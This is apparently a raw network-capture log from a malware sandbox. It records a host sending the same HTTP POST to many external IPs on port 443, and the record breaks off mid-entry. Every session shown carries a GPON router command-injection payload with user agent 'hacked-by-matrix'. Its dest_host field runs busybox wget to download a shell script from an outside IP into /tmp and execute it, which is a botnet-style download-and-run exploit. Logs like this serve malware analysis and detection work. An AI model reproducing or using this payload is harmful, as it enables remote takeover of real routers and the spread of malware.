Mar 21, 2024 05:27:02.416672945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1646	192.168.2.23	34996	109.160.197.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416686058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1647	192.168.2.23	35656	118.10.27.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416709900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1648	192.168.2.23	52418	94.136.155.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416713953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1649	192.168.2.23	37806	212.50.70.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416743040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1650	192.168.2.23	50750	5.252.246.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416749001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1651	192.168.2.23	43652	2.198.4.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416749001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1652	192.168.2.23	60582	5.20.168.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416768074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1653	192.168.2.23	38686	109.140.91.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416773081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1654	192.168.2.23	33910	118.63.176.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416795969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1655	192.168.2.23	46962	212.205.172.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416805983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1656	192.168.2.23	45408	42.192.39.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416812897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1657	192.168.2.23	54230	118.121.197.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416814089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1658	192.168.2.23	42944	109.217.182.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416835070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1659	192.168.2.23	53250	178.218.230.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416835070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1660	192.168.2.23	49338	118.135.179.25	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416841030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1661	192.168.2.23	40676	79.242.201.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416846991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1662	192.168.2.23	49960	5.220.22.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416855097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1663	192.168.2.23	48282	178.151.194.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416870117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1664	192.168.2.23	58150	118.248.40.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416883945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1665	192.168.2.23	59204	118.212.79.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416897058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1666	192.168.2.23	51224	178.129.80.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416903973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1667	192.168.2.23	43962	109.112.42.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416908026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1668	192.168.2.23	55698	37.19.125.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.416915894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1669	192.168.2.23	33058	178.250.198.139	443

Timestamp	Bytes transferred	Direction	Data
